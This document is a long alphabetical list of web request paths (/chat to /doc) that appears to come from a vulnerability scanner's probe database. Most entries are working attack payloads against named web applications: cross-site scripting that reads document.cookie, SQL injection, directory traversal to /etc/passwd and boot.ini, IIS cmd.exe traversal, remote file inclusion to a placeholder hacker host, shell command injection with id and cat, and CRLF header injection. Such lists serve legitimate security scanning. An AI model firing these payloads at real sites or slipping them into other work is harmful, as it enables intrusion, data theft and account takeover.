/chat/config/style.css.php3?Charset=iso-8859-1&medium=10&FontName=%3E%22%27%3E%3Cimg+src%3D&%23x6a%3B&%23x61%3B&%23x76%3B&%23x61%3B&%23x73%3B&%23x63%3B&%23x72%3B&%23x69%3B&%23x70%3B&%23x74%3B&%23x3a%3Balert%289490%29%3E
/chat/data/usr
/chat/deluser.php3?L=english&Link=&LIMIT=%3E%22%27%3E%3Cimg+src%3D&%23x6a%3B&%23x61%3B&%23x76%3B&%23x61%3B&%23x73%3B&%23x63%3B&%23x72%3B&%23x69%3B&%23x70%3B&%23x74%3B&%23x3a%3Balert%289482%29%3E&AUTH_USERNAME=&AUTH_PASSWORD=
/chat/inc/cmses/aedating4CMS.php?dir[inc]=
/chat/register.php?register=yes&username=OverG&email=<script>alert%20(\"Vulnerable\")</script>&email1=<script>alert%20(\"Vulnerable\")</script>
/chat/usersL.php3?L=russian&R='
/chat/users_popupL.php3?From=%3E%22%3E%3Cscript%3Ealert%289488%29%3C%2Fscript%3E
/chat/users_popupL.php3?From=..%2FphpMyChat.php3&L=english&LastCheck=%22%3E%3C%2FSTYLE%3E%3CSTYLE%3E%40import%22javascript%3Aalert%289484%29%22%3B%3C%2FSTYLE%3E%27
/chat/users_popupL.php3?From=..%2FphpMyChat.php3&L=english&LastCheck=1196698786&B=%3E%22%3E%3Cscript%3Ealert%289486%29%3C%2Fscript%3E
/chat_dir/register.php
/chatlog.nsf
/check.php
/check_user_id.php?user_id=%3Cscript%3Ealert%289840%29%3C%2Fscript%3E
/checkout_payment.php
/ciamos/class/debug/highlight.php?file=highlight.php&line=1
/citrix/
/citrix/1160964465.jsp
/citrix/1580120502.asp
/citrix/applist.asp
/citrix/boilerplate.asp?NFuse_Template=.../.../.../.../.../.../.../.../.../boot.ini&NFuse_CurrentFolder=/
/citrix/icaweb/
/citrix/launch.jsp?NFuse_Application=<script>alert('CSS')</script>
/citrix/pnagent/
/claroline/auth/extauth/casProcess.inc.php?claro_CasLibPath=/../../../../../../../../boot.ini%00
/claroline/auth/extauth/casProcess.inc.php?claro_CasLibPath=/../../../../../../../../etc/passwd%00
/claroline/auth/extauth/casProcess.inc.php?claro_CasLibPath=/../../../../../../../../winnt/win.ini%00
/claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys=/../../../../../../../../boot.ini%00
/claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys=/../../../../../../../../etc/passwd%00
/claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys=/../../../../../../../../winnt/win.ini%00
/claroline/auth/extauth/drivers/mambo.inc.php?includePath=/../../../../../../../../boot.ini%00
/claroline/auth/extauth/drivers/mambo.inc.php?includePath=/../../../../../../../../etc/passwd%00
/claroline/auth/extauth/drivers/mambo.inc.php?includePath=/../../../../../../../../winnt/win.ini%00
/claroline/auth/ldap/authldap.php?includePath=/../../../../../../../../boot.ini%00
/claroline/auth/ldap/authldap.php?includePath=/../../../../../../../../etc/passwd%00
/claroline/auth/ldap/authldap.php?includePath=/../../../../../../../../winnt/win.ini%00
/claroline/inc/claro_init_header.inc.php?includePath=
/claroline/inc/lib/event/init_event_manager.inc.php?includePath=/../../../../../../../../boot.ini%00
/claroline/inc/lib/event/init_event_manager.inc.php?includePath=/../../../../../../../../etc/passwd%00
/claroline/inc/lib/event/init_event_manager.inc.php?includePath=/../../../../../../../../winnt/win.ini%00
/claroline/user/userInfo.php?uInfo=1%20UNION%20SELECT%20concat(char(254),char(83),char(80),char(73),char(45),char(83),char(81),char(76)),0,0,0,0,0/*
/class.forumposts.php?cmd=ls%20-la&bbPath[path]=../../../../../../../../boot.ini%00
/class.forumposts.php?cmd=ls%20-la&bbPath[path]=../../../../../../../../etc/passwd%00
/class.forumposts.php?cmd=ls%20-la&bbPath[path]=../../../../../../../../winnt/win.ini%00
/class.module/class.event_manager.php
/class.mysql.php?path_to_bt_dir=
/class/
/class/875141676.class
/class/bootstrap.php
/class/class.admin_menu_cms.php
/class/class.conf_cms.php
/class/class.conf_fw.php
/class/debug/debug_show.php
/class/mysql.class
/class_ads/category.php?cat=s'+union+select+1,2,3,4,5,6,7,8,9,concat(0x32,0x30,0x30,0x38,0x30,0x35,0x32,0x31,0x20,0x36,0x38,0x20,0x43,0x6C,0x61,0x73,0x73,0x69,0x66,0x69,0x65,0x64,0x73,0x20,0x76,0x2E,0x34,0x2E,0x30,0x2E,0x31,0x20,0x28,0x63,0x61,0x74,0x29,0x20,0x53,0x51,0x4C,0x20,0x49,0x6E,0x6A,0x65,0x63,0x74,0x69,0x6F,0x6E)+from+class_users/*
/classcache/
/classes
/classes.php?LOCAL_PATH=
/classes/
/classes/admin_o.php?absolutepath=http://inexistent_hacker_box/
/classes/adodbt/sql.php?classes_dir=
/classes/core/language.php?rootdir=
/classes/main_class.php?default_path=404937102423%00
/classified_right.php?language_dir=
/classifieds/552874932.php
/classifieds/contact.php?contact=1&productid=1'
/classifieds/index.php?cat=1'
/classifieds/showcat.php?cat=1'&stype=1&si=1
/classifieds/showproduct.php?product=10&sort=1'&cat=all&page=1
/clbusy.nsf
/cldbdir.nsf
/cleanup.log
/cleanup.txt
/cleartrust/ct_logon.asp?CTAuthMode=BASIC&CTLoginErrorMsg=xx&ct_orig_uri=\">< script>alert(1)/script><\"
/cleartrust/ct_logon.asp?CTLoginErrorMsg=<script>alert(1)</script>
/client
/client/
/cliente/
/clientes/
/clients
/clients/
/clocktower/
/clusta4.nsf
/clusterframe.jsp
/clusterframe.jsp?cluster=<script>alert(document.cookie)</script>
/cm/
/cmd
/cmd.php?arg=
/cmdasp.asp
/cms/revert-content.php?type=newest&id=1%22%20UNION%20ALL%20SELECT%20null,null,11221133,null,null/*
/cmsample/
/cmsample/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/cmsample/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/cmsample/..%255c..%255c..%255c..%255cwinnt/system32/2054747450.exe
/cmsample/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/cmsample/..%255c../..%255c../..%255c../winnt/system32/258635694.exe
/cmsample/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/cmsample/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/1755079021.exe
/cmsample/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/cmsample/..%e0%80%af../winnt/system32/1291310455.exe
/cmsample/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/cmsample/..%f0%80%80%af../winnt/system32/752666810.exe
/cmsample/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/cmsample/..%f8%80%80%80%af../winnt/system32/1171822847.exe
/cmsample/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/cmsample/..%fc%80%80%80%80%af../winnt/system32/1171822847.exe
/cmsample/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/cnt6.inc.php?BL%5Bbe_cnt_plainhtml%5D=%3Cscript%3Ealert%282750%29%3C%2Fscript%3E
/cobalt-images/
/code
/code.php3
/code/
/code/inc_header.php?gTopNombre=%22%3E%3Cscript%3Ealert('xss403337101220');%3C/script%3E%3Ctest=%22
/codebb/lang_select?phpbb_root_path=
/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=
/coins_list.php?member_id=%27
/collect4.nsf
/com
/com/
/com/novell/
/com/novell/gwmonitor/help/en/default.htm
/com/novell/webaccess
/com/novell/webaccess/help/en/default.htm
/com/novell/webpublisher/help/en/default.htm
/com1/
/com2/
/com3/
/comersus_backoffice_message.asp?message=%3Cscript%3Ealert%28928%29%3C/script%3E
/comersus_backoffice_message.asp?message=%3Cscript%3Ealert(document.cookie)%3C/script%3E
/comersus_optAffiliateRegistrationExec.asp?name=1&email='&Submit=Join%20now
/comersus_supportError.asp?error=%3Cscript%3Ealert(document.cookie)%3C/script%3E
/comment.php?lang=en&mode=new&entryref=&backurl=%22%3E%3Cscript%3Ealert%289266%29%3C%2Fscript%3E
/comment.php?mode=display&sid=foo&pid='
/comment_add.asp?ID=3&email=<script>alert(document.cookie)</script>
/comment_add_cgi.php
/commentaires.php?commentaire=%22%3E%3Cscript%3Ealert%28966%29%3C/script%3E
/comments.php?op=view&newsid=4&showpost=%22%3E%3Ch1%3EAttackerXSSvulnerable%3C!--
/comments.php?subject=<script>alert('Vulnerable')</script>&comment=<script>alert('Vulnerable')</script>&pid=0&sid=0&mode=&order=&thold=op=Preview
/comments.php?thold='
/comments/browse.php?fid=1&tid=1&go=<script>alert('CSS')</script>
/comments/browse.php?fid=2&tid=4&go=&lt;script&gt;alert('Vulnerable')&lt;/script&gt;
/common
/common.inc
/common.php?include_path=/../../../../../../../../boot.ini%00
/common.php?include_path=/../../../../../../../../etc/passwd%00
/common.php?include_path=/../../../../../../../../winnt/win.ini%00
/common/
/common/func.php?CommonAbsDir=
/communicator/
/communique.asp
/community/forum/index.cfm?FTVAR_SUBCAT=%27&nocookies=y&subcatname=
/community/forumdisplay.php
/community/index.php?analized=anything
/community/member.php
/compare_form.php?server_id=0&dn=%22%3Cscript%3Ealert%282232%29%3C%2Fscript%3E
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=
/components/com_colorlab/admin.color.php?mosConfig_live_site=
/components/com_cpg/cpg.php?mosConfig_absolute_path=
/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=
/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=
/components/com_facileforms/facileforms.frame.php?ff_compath=
/components/com_forum/download.php?phpbb_root_path=
/components/com_galleria/galleria.html.php?mosConfig_absolute_path=
/components/com_mp3_allopass/allopass-error.php?mosConfig_live_site=
/components/com_mp3_allopass/allopass.php?mosConfig_live_site=
/components/com_mtree/Savant2/Savant2_Plugin_stylesheet.php?mosConfig_absolute_path=
/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_path=
/components/com_performs/performs.php?mosConfig_absolute_path=
/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=
/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=
/components/com_simpleboard/image_upload.php?sbp=
/components/com_smf/smf.php?mosConfig_absolute_path=
/components/com_zoom/includes/database.php?mosConfig_absolute_path=
/compra/
/compras/
/compressed/
/compte.php
/compte.php?achat=1&valider=1&identifiant='
/computers/714690450.asp
/computers/default.asp?sort=&Direction=';
/con
/conecta/
/conf
/conf/
/config
/config.inc
/config.inc.php?_path=
/config.inc.php?path_escape=
/config.php
/config.php?fpath=
/config.php?path_to_root=
/config.php?xcart_dir=
/config/
/config/298976435.txt
/config/718132472.cfg
/config/check.txt
/config/checks.txt
/config/database.yml
/config/html/cnf_gi.htm
/config/import.txt
/config/mountain.cfg
/configs/
/configset.php?settings_dir=/../../../../../../../../boot.ini%00
/configset.php?settings_dir=/../../../../../../../../etc/passwd%00
/configset.php?settings_dir=/../../../../../../../../winnt/win.ini%00
/configuration.inc
/configure
/configure.txt
/connect.asp?server=%3Cscript%3Ealert%283450%29%3C%2Fscript%3E
/connect.inc
/connect/
/connection.inc
/connections/
/console
/console/
/console/index.jsp
/conspass.chl+
/consport.chl+
/contact
/contact/
/contacts.php?cal_dir=
/contactus/index.cgi?Message=<script>alert('CSS')</script>
/contactus_add_edit.asp?contactid=%27&pageid=2
/contenido.php?sec=
/contenido/classes/class.inuse.php
/content-space
/content.asp?CatId='&ContentType=Company
/content.asp?ContentId='
/content.asp?catid='
/content.asp?contenttype=%22%3E%3Cscript%3Ealert(830)%3C/script%3E
/content.asp?do_search=0&keywords=contact&page_no=2&sortby='
/content.php?act=something-wrong
/content.php?content=http://inexistent_hacker_box/
/content.php?inc=
/content.php?page=
/content.php?seite=
/content.pl
/content/
/content/article.php?ide=
/content/base/build/explorer/none.php?..:..:..:..:..:..:..:etc:passwd:
/content/base/build/explorer/none.php?/etc/passwd
/content/forums/reply.asp?Forum_Id=3&Topic_Id=%27
/content/modify_go.php?pwfile=
/content/sitemap.gz
/content/users/login.asp?error=<script>alert(document.cookie)</script>
/contents.php?new_language=elvish&mode=select
/contents/extensions/asp/1
/contrib/
/contrib/example.php?language=../../../../../../../../etc/passwd
/contrib/example.php?language=..\..\..\..\..\..\..\..\boot.ini
/contrib/example.php?language=..\..\..\..\..\..\..\winnt\win.ini
/contrib/mx_glance_sdesc.php?mx_root_path=
/contrib/yabbse/poc.php?poc_root_path=
/control/
/controlpanel/
/convert-date.php
/convert-date.php?cal_dir=
/convert/mvcw.php?step=1&vwar_root=
/convert/mvcw.php?vwar_root=
/cool-logs/
/cool-logs/mlog.html
/cool-logs/mylog.html
/coppercop/theme.php?THEME_DIR=
/coppermine/thumbnails/meta=%22%3e%3cscript%3ealert(1392)%3c/script%3etopn/album=1.html
/coppermine/thumbnails/metatopn/album=1.html%22%3e%3cscript%3ealert(1394)%3c/script%3e
/copy_form.php?server_id=0&dn=%22%3Cscript%3Ealert%282234%29%3C%2Fscript%3E
/copyright.txt
/core
/core/adodb/server.php?do=undefined_special_function&sql=generate_sql_error
/core/adodb/tests/tmssql.php?do=undefined_special_function&sql=generate_sql_error
/corp/
/correo/
/cosmicshop/search.php?max=-1%27
/cosmicshop/search.php?query=%3Cscript%3Ealert%282788%29%3C%2Fscript%3E
/cosmicshop/search_cat.php=doc&data=%3cscript%3ealert(2790)%3c%2fscript%3e
/counter.php?theCount=%3Cscript%3Ealert(document.cookie)%3C/script%3E
/counter/
/counter/1/n/n/0/3/5/0/a/123.gif
/course_tools/
/cover.php?name=%22%3E%3Cscript%3Ealert%282084%29%3C%2Fscript%3E
/cp/rac/nsManager.cgi
/cpa.nsf
/cpanel/
/cplogfile.log
/cpqlogin.htm
/cqweb/login?%2Fcqweb%2Fmain%3Fcommand=GenerateMainFrame&service=CQ&schema=SCHEMAHERE%22%3B+alert%289748%29%3B%2F%2F&contextid=DATABASECONTEXTHERE%22%3B+alert%289748%29%3B%2F%2F
/cqweb/login?targetUrl=%2Fcqweb%2Fmain%3Fcommand%3DGenerateMainFrame&ratl_userdb=DBHERE%2C&test=&clientServerAddress=http%3A%2F%2F%2Fcqweb%2Flogin&username=test%3C%2Fscript%3E%3Cscript%3Ealert%289750%29%3C%2Fscript%3E&password=test&schema=SCHEMAHERE&userDb=DBHERE
/cqweb/main?command=GenerateMainFrame&ratl_userdb=DBNAME%2C&test=&clientServerAddress=http%3A%2F%2FAppScan%2Fcqweb%2Flogin&username=%27&password=PASSWORD&schema=SCHEMA&userDb=DBNAME
/credit
/credit/
/creditcards
/creditcards/
/crm/
/cron.php?path_to_config=/../../../../../../../../boot.ini%00
/cron.php?path_to_config=/../../../../../../../../etc/passwd%00
/cron.php?path_to_config=/../../../../../../../../winnt/win.ini%00
/crons.php?plan_id=%27
/crons.php?plan_id=35&domain=%27
/crossdomain.xml
/crypto
/crypto/
/crystalreportviewers/
/crystalreportviewers/1947909303.aspx
/crystalreportviewers/crystalimagehandler.aspx?dynamicimage=....boot.ini
/crystalreportviewers/crystalimagehandler.aspx?dynamicimage=..\..\boot.ini
/csPassword.cgi?command=remove%20
/csr/
/css
/css/
/cstat.pl
/csv_db/csv_db.cgi?fil
/csv_db/csv_db.cgi?file=|id|
/ct_logon.asp?CTLoginErrorMsg=<script>alert('CSS')</script>
/cuenta/
/cuentas/
/currency/
/current/
/current/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00
/current/modules.php?mod=fm&file=../../../../../../../../../../etc/passwd%00&bn=fm_d1
/custdata/
/custom_link.asp?method=Topic&TOPIC_ID='
/customer
/customer.dbf
/customer/
/customer/1797991032.php
/customer/auth.php?config[General][shop_closed]=Y&shop_closed_file=../../../../../../../etc/passwd
/customer/product.php?xcart_dir=
/customeradmin/
/customerdata.nsf
/customers
/customers.dbf
/customers/
/customers/login.php?customerEmailAddress=%22%3E%3Cscript%3Ealert('_START_test_END_')%3C/script%3E
/customerservice/
/cutenews/
/cutenews/997032441.php
/cutenews/comments.php
/cutenews/example2.php?subaction=showfull&id=<script>alert(document.cookie);</script>
/cutenews/index.php?debug
/cutenews/search.php
/cutenews/show_archives.php?subaction=showcomments&id=<script>alert(document.cookie);</script>&archive=&start_from=&uca&p
/cutenews/show_news.php?subaction=showcomments&id=<script>alert(document.cookie);</script>&archive=&start_from=&ucat=&a
/cutenews/shownews.php
/cvs/
/cvsweb/
/cvv2.txt
/cybercash/
/cybercrash/
/cyberfolio/portfolio/msg/view.php?av=
/d/
/da.nsf
/dan_o.dat
/dana-na/auth/remediate.cgi?action=&step=preauth
/dana-na/auth/remediate.cgi?step=preauth
/darkportal/
/darkportal/1324728376
/darkportal/CHANGES
/dashboard/
/dat
/dat/
/data
/data.dbf
/data.htm
/data.html
/data.sql
/data.txt
/data/
/data/345992121.php
/data/compatible.php?module_name=
/data/compatible.php?module_name=/../../../../../../../../boot.ini%00
/data/compatible.php?module_name=/../../../../../../../../etc/passwd%00
/data/compatible.php?module_name=/../../../../../../../../winnt/win.ini%00
/data/data.dat
/data/fetch.php?page='
/data/inc/footer.php?lang_footer=%3Cscript%3Ealert%2810022%29%3C%2Fscript%3E
/data/inc/header.php?lang_install22=%3Cscript%3Ealert%2810026%29%3C%2Fscript%3E
/data/inc/header.php?lang_kop15=%3Cscript%3Ealert%2810038%29%3C%2Fscript%3E
/data/inc/header.php?lang_kop1=%3Cscript%3Ealert%2810030%29%3C%2Fscript%3E
/data/inc/header.php?lang_kop2=%3Cscript%3Ealert%2810032%29%3C%2Fscript%3E
/data/inc/header.php?lang_kop4=%3Cscript%3Ealert%2810036%29%3C%2Fscript%3E
/data/inc/header.php?lang_kop5=%3Cscript%3Ealert%2810040%29%3C%2Fscript%3E
/data/inc/header.php?lang_modules=%3Cscript%3Ealert%2810034%29%3C%2Fscript%3E
/data/inc/header.php?pluck_version=%3Cscript%3Ealert%2810024%29%3C%2Fscript%3E
/data/inc/header.php?titelkop=%3Cscript%3Ealert%2810028%29%3C%2Fscript%3E
/data/inc/header.php?titelkop=%3Cscript%3Ealert%2810042%29%3C%2Fscript%3E
/data/inc/header2.php?pluck_version=%3Cscript%3Ealert%2810044%29%3C%2Fscript%3E
/data/inc/header2.php?titelkop=%3Cscript%3Ealert%2810046%29%3C%2Fscript%3E
/data/inc/themeinstall.php?lang_theme6=%3Cscript%3Ealert%2810048%29%3C%2Fscript%3E
/data/inc/themes/predefined_variables.php?blogpost=/../../../../../../../../boot.ini
/data/inc/themes/predefined_variables.php?blogpost=/../../../../../../../../etc/passwd
/data/inc/themes/predefined_variables.php?blogpost=/../../../../../../../../winnt/win.ini
/data/member_log.txt
/data/userlist.txt
/data/userlog/log.txt
/database
/database.inc
/database.nsf
/database.nsf/viewname?SearchView&Query=
/database.php?mosConfig_absolute_path=
/database/
/database/666765236.mdb
/database/WWGguestbook.mdb
/database/Webmail.mdb
/database/comersus.mdb
/database/db2000.mdb
/database/kb.mdb
/database/metacart.mdb
/database/metacart.mdb+
/database/mpcsoftweb_photo.mdb
/databases.php?plan_id=%27
/databases.php?plan_id=35&domain=%27
/databases/
/databases/Users.mdb
/databse.sql
/datafiles/
/datafunc.inc
/date/
/dato/
/datos/
/day.php?cmd=ls
/db
/db.dbf
/db.inc
/db.nsf
/db.php
/db.php?path_local=
/db.php?q='&t='
/db.sql
/db/
/db/997941969.dat
/db/Genit.dat
/db/gbdb.mdb
/db/oracle.php
/db/users.dat
/db2
/db2/
/db2www.ini
/dba4.nsf
/dbabble
/dbabble?cmd="><script>alert(document.cookie)</script>
/dbase
/dbase.php?action=
/dbase/
/dbase/883142137.mdb
/dbase/aeNovo1.mdb
/dbconfig.inc
/dbconn.inc
/dbmodules/DB_adodb.class.php?PHPOF_INCLUDE_PATH=
/dbs/
/dbsamp.htm
/dc/auth_data/auth_user_file.txt
/dc/orders/orders.txt
/dc_Categoriesview.asp?key='
/dc_forum_Topicslist.asp?key_m='
/dcboard.cgi?az=%27
/dcboard.cgi?az=%3Cscript%3Ealert%282398%29%3C%2Fscript%3E
/dcboard.php?page=<script>alert(1118)</script>
/dcforum/
/dcforum/186579760.cgi
/dcforum/dcforum.cgi
/dcforum/dcforum.cgi?az=list&forum=../../../../../../../../../../etc/passwd%00
/dclf.nsf
/dcp/advertiser.php
/dcshop/auth_data/auth_user_file.txt
/dcshop/orders/orders.txt
/dd4c0d234c1759413d61cd84fb11eba8
/ddreport/
/ddrint/
/ddrint/bin/1174810105.exe
/ddrint/bin/ddicgi.exe
/de/
/debug.asp
/debug.cfg
/debug.cgi
/debug.dat
/debug.htm
/debug.html
/debug.inc
/debug.log
/debug.pl
/debug.txt
/debug/
/debug/dbg?host==<script>alert('Vulnerable');</script>
/debug/echo?name=<script>alert('Vulnerable');</script>
/debug/errorInfo?title===<script>alert('Vulnerable');</script>
/debug/showproc?proc===<script>alert('Vulnerable');</script>
/decsadm.nsf
/decsdoc.nsf
/decslog.nsf
/default
/default.asp
/default.asp?ExecuteTheLogin=1&Users_Email=%271%401.com&Users_Password=proofofconcept
/default.asp?action=%22%3E%3Cscript%3Ealert%282844%29%3C%2Fscript%3E
/default.asp?categoryID=24&UserLevel=%3Cscript%3Ealert%281908%29%3C%2Fscript%3E
/default.asp?categoryID=24&UserLevel=2&SearchText=%3Cscript%3Ealert%281906%29%3C%2Fscript%3E
/default.asp?catid=1234567890'
/default.asp?layout=1%20order%20by%2012
/default.asp?msg=%3Cscript%3Ealert(%22xss%22)%3C/script%3E
/default.asp?pg=pgLogon&dest=%3Cscript%3Ealert%281168%29%3C%2Fscript%3E
/default.asp?setThemeColour=%3Cscript%3Ealert%283466%29%3C%2Fscript%3E
/default.asp?setThemeColour=%3Cscript%3Ealert%288444%29%3C%2Fscript%3E
/default.asp?skin_number=XSS.css%22%3E%3Cscript%3Ealert('xss404407102041')%3C/script%3E%3C
/default.asp?view=archives&month=%22generate_error&year=2004
/default.asp?view=plink&id=-1%27
/default.aspx
/default.aspx/%22)%3b%7dif(true)%7balert(9310
/default.aspx/~1
/default.cfm?action=46
/default.htm%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
/default.html
/default.nsf
/default.php?*root*=
/default.php?abre=
/default.php?arquivo=
/default.php?base_dir=
/default.php?basepath=
/default.php?body=
/default.php?channel=
/default.php?chapter=
/default.php?choix=
/default.php?cmd=
/default.php?cont=
/default.php?destino=
/default.php?e=
/default.php?error_message=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
/default.php?error_message=<script>alert('CSS')</script>
/default.php?eval=
/default.php?f=
/default.php?goto=
/default.php?header=
/default.php?id=
/default.php?inc=
/default.php?incl=
/default.php?include=
/default.php?index=
/default.php?info_message=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
/default.php?ir=
/default.php?itemnav=
/default.php?k=
/default.php?ki=
/default.php?l=
/default.php?left=
/default.php?load=
/default.php?loader=
/default.php?loc=
/default.php?m=
/default.php?menu=
/default.php?menue=
/default.php?mid=
/default.php?mod=
/default.php?module=
/default.php?n=
/default.php?name=
/default.php?nivel=
/default.php?oldal=
/default.php?opcion=
/default.php?option=
/default.php?p=
/default.php?pa=
/default.php?pag=
/default.php?page=
/default.php?page=home
/default.php?pageweb=
/default.php?panel=
/default.php?param=
/default.php?play=
/default.php?pr=
/default.php?pre=
/default.php?read=
/default.php?ref=
/default.php?rub=
/default.php?secao=
/default.php?secc=
/default.php?seccion=
/default.php?seite=
/default.php?showpage=
/default.php?sivu=
/default.php?sp=
/default.php?str=
/default.php?strona=
/default.php?t=
/default.php?thispage=
/default.php?tipo=
/default.php?to=
/default.php?type=
/default.php?v=
/default.php?var=
/default.php?vis=
/default.php?x=
/default.php?y=
/defaultwebapp/
/define.php?term=
/defines.php
/definesearch.jsp?searchwhat=<script>alert(1114)</script>
/delete_form.php?server_id=0&dn=%22%3Cscript%3Ealert%282240%29%3C%2Fscript%3E
/delete_forum.php?remove_site=1&cfg_dir=1&bn=1&ext=1&bn=&site_cfg_file=1
/deletecontact.php
/deluxebb/index.php?limit='
/demo
/demo/
/demo/basic/simple/viewsrc/welcomeuser.jsp.txt
/demo/basic/simple/welcomeuser.jsp?user="><script>alert(097531)</script>
/demo/basic/simple/welcomeuser.jsp?user=%22%3E%3Cscript%3Ealert%283398%29%3C%2Fscript%3E
/demo/dc_Categoriesview.asp??key='&RecPerPage=5
/demo/dc_Categoriesview.asp?key=%26dir%26
/demo/dc_forum_Postslist.asp?key_m='
/demo/dc_forum_Postslist.asp?psearch='&Submit=Search%20%28%2A%29&psearchtype=1
/demo/dc_forum_Postslist.asp?psearch=1&Submit=Search%20%28%2A%29&psearchtype='
/demo/dc_forum_Postslist.asp?start='
/demo/dc_productslist_Clearance.asp?cmd=%27
/demo/ojspext/events/globals.jsa
/demo/ratings.asp??PID='
/demo/sql/index.jsp
/demo/xml/xmlquery/viewsrc/XMLQuery.jsp.txt
/demoauct/
/demomall/
/demomall/basemall.htm
/demos
/demos/
/deny/
/department.asp?dept=
/department.cfm?dept=
/department/
/departments/
/deploy.exe
/deportes.cgi?a=latest&t=
/derbyteccgi/shopper.cgi?key=SC7021&preadd=action&template=order.log
/derbyteccgi/shopper.cgi?search=action&keywords=moron&template=order.log
/descendancy.php?pid=<script>alert(document.cookie);</script>
/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp%20&_SESSION[usr]=demo&_SESSION[apps][eyeOptions.eyeapp][wrapup]=echo%20md5("magic_string_060208");
/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION[usr]=demo&_SESSION[apps][eyeOptions.eyeapp][wrapup]=phpinfo();
/desktoplaunch/InfoView/logon/logon.object;jsessionid=7E1EFA4F83461F81157B67D7EA471A12?qryStr=&cmsVisible=true&authenticationVisible=true&referer=&refererFormData=&isFromLogonPage=true&cms=%3E%22%27%3E%3Cimg+src%3D%22javascript%3Aalert%289764%29%22%3E%22
/detail.asp?product_id=
/detail.cfm?id=
/detail.cfm?solus=%27
/detail.php?id=-1'
/detail.php?id=1009&contact=1&user_id=%27
/detail.php?listingid=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(0x32,0x30,0x30,0x38,0x30,0x35,0x32,0x31,0x20,0x46,0x65,0x65,0x64,0x62,0x61,0x63,0x6B,0x20,0x61,0x6E,0x64,0x20,0x52,0x61,0x74,0x69,0x6E,0x67,0x20,0x53,0x63,0x72,0x69,0x70,0x74,0x20,0x76,0x2E,0x32,0x30,0x30,0x38,0x2F,0x30,0x35,0x2F,0x32,0x31,0x20,0x28,0x6C,0x69,0x73,0x74,0x69,0x6E,0x67,0x69,0x64,0x29,0x20,0x53,0x51,0x4C,0x20,0x49,0x6E,0x6A,0x65,0x63,0x74,0x69,0x6F,0x6E),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/FROM/**/auto_admin_settings_tb/**/LIMIT+0,1/*
/detail.php?name=AppScan&page=%3Cscript%3Ealert%282088%29%3C%2Fscript%3E
/detail.php?prod=
/detail/
/details
/details.php?loc=
/deu/
/dev
/dev/
/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00
/dev60cgi/584799224/
/dev60cgi/rwcgi60
/dev60cgi/rwcgi60.exe
/dev60cgi/rwcgi60.exe/
/dev60cgi/rwcgi60/
/devel
/devel/
/developer/
/development
/development/
/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.list.php?set_depth=
/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.search.php?set_depth=
/dfd_cart/app.lib/product.control/core.php/product.control.config.php?set_depth=
/diapo.php?rep=<script>alert(document.cookie)</script>
/dir.txt
/dir/
/dirassist.nsf
/direct.php?loc=
/directions.php?loc=
/directions.php?testID=\'
/directory.php?dir=%3Bcat%20/etc/passwd
/directory/
/directory/458388796.cgi
/directory/gotopage.cgi?13686+/../../../../../../../../../../../../../../../../etc/passwd
/directorymanager/536289909.php
/directorymanager/edit_image.php?dn=1&userfile=edit_image.php&userfile_name=%20;id;
/dirs.txt
/display.php?f=
/display.php?file=
/display.php?l=
/display.php?lang=
/display.php?ln=
/display.php?p=
/display.php?pag=
/display.php?page=
/display.php?page=&lang=
/display.php?pg=
/display.php?s=
/display.php?table=
/displaygame.php?filetype=1&gamefile=%22%3E%3Cscript%3Ealert%281488%29%3C%2Fscript%3E
/displayproducts.asp?category_id=
/displayproducts.cfm?category_id=
/displayproducts.cfm?id= 
/dist/
/distribute/
/distribution/
/divx/
/dlisting.php?cid=1%3Cscript%3Ealert%282506%29%3C%2Fscript%3E
/dlsym/
/dltclnt.php
/dm/
/dm/1968845876
/dm/demarc
/dm_jsp/
/dmr/
/dms/
/dms/1192472769.kspx
/dms/1399771568
/dms/adminshares.kspx
/dms/aggrespy
/dms0
/dmsdump
/do_map
/do_subscribe
/doc
/doc"><script>alert(097531);</script>
/doc-html/
/doc/
/doc/.DS_Store
/doc/.FBCIndex
/doc/.access
/doc/.addressbook
/doc/.bash_history
/doc/.bashrc
/doc/.forward
/doc/.htaccess
/doc/.htaccess.old
/doc/.htpasswd
/doc/.passwd
/doc//NoneExistent%0d%0aInjectedHeader:%20InjectedValue
/doc//NoneExistent%0d%0aInjectedHeader:2005043272
/doc//Sites/Knowledge/Membership/Inspired/ViewCode.asp?file=index.asp
